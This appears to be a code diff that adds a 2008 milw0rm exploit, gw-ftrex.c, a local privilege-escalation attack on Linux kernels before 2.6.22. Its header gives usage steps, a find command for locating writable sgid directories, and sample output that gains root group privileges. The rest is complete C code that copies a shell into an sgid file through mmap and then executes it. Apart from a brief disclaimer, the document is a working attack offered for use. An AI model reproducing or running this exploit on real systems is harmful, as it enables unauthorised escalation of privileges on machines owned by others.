|
| 1 | +/* |
| 2 | +gw-ftrex.c: |
| 3 | +
|
| 4 | +Linux kernel < 2.6.22 open/ftruncate local exploit |
| 5 | +by <gat3way at gat3way dot eu> |
| 6 | +
|
| 7 | +bug information: |
| 8 | +http://osvdb.org/49081 |
| 9 | +
|
| 10 | +
|
| 11 | +!!!This is for educational purposes only!!! |
| 12 | +
|
| 13 | +To use it, you've got to find a sgid directory you've got |
| 14 | +permissions to write into (obviously world-writable), e.g: |
| 15 | +find / -perm -2000 -type d 2>/dev/null|xargs ls -ld|grep "rwx" |
| 16 | +which fortunately is not common those days :) |
| 17 | +And also a shell that does not drop sgid privs upon execution (like ash/sash). |
| 18 | +E.g: |
| 19 | +
|
| 20 | +test:/fileserver/samba$ ls -ld |
| 21 | +drwxrwsrwx 2 root root 4096 2008-10-27 16:27. |
| 22 | +test:/fileserver/samba$ id |
| 23 | +uid=33(www-data) gid=33(www-data) groups=33(www-data) |
| 24 | +test:/fileserver/samba$ /tmp/gw-ftrex |
| 25 | +ash shell found! |
| 26 | +size=80200 |
| 27 | +We're evil evil evil! |
| 28 | +
|
| 29 | +$ id |
| 30 | +uid=33(www-data) gid=33(www-data) egid=0(root) groups=33(www-data) |
| 31 | +
|
| 32 | +Trqbva da kaja neshto umno kato zakliuchenie...ma sega ne moga da se setia. |
| 33 | +*/ |
| 34 | + |
| 35 | + |
| 36 | + |
| 37 | +#include <unistd.h> |
| 38 | +#include <sys/types.h> |
| 39 | +#include <sys/mman.h> |
| 40 | +#include <fcntl.h> |
| 41 | + |
| 42 | +int main(int argc, char *argv[]) |
| 43 | +{ |
| 44 | +char *buf=malloc(3096*1024); //3mb just to be sure |
| 45 | +int a,len; |
| 46 | +int fd,fd1; |
| 47 | +char *buf1; |
| 48 | +int shell=0; |
| 49 | + |
| 50 | + |
| 51 | +if (stat("/bin/ash",buf)==0) |
| 52 | +{ |
| 53 | + printf("ash shell found!\n"); |
| 54 | + shell=1; |
| 55 | +} |
| 56 | + |
| 57 | +if (shell==0) if (stat("/bin/sash",buf)==0) |
| 58 | +{ |
| 59 | + printf("sash shell found!\n"); |
| 60 | + shell=1; |
| 61 | +} |
| 62 | + |
| 63 | +if (shell==0) |
| 64 | +{ |
| 65 | + printf("no suitable shell found (one that does not drop sgid permissions) :(\n"); |
| 66 | + exit(2); |
| 67 | +} |
| 68 | + |
| 69 | + |
| 70 | +len=0; |
| 71 | +if (shell==1) fd=open("/bin/ash",O_RDONLY); |
| 72 | +if (shell==2) fd=open("/bin/sash",O_RDONLY); |
| 73 | + |
| 74 | +while (read(fd,buf+len,1)) len++; |
| 75 | + |
| 76 | +printf("size=%d\n",len); |
| 77 | +fd1=open(".evilsploit",O_RDWR | O_CREAT | O_EXCL, 02750); |
| 78 | +ftruncate(fd1, len); |
| 79 | +buf1 = mmap(NULL, len, PROT_WRITE | PROT_EXEC, MAP_SHARED, fd1, 0); |
| 80 | +memcpy(buf1,buf,len); |
| 81 | +munmap(buf1,len); |
| 82 | +close(fd1);close(fd); |
| 83 | +free(buf); |
| 84 | +printf("We're evil evil evil!\n\n"); |
| 85 | +execv(".evilsploit", NULL); |
| 86 | +} |
| 87 | + |
| 88 | +// milw0rm.com [2008-10-27] |
0 commit comments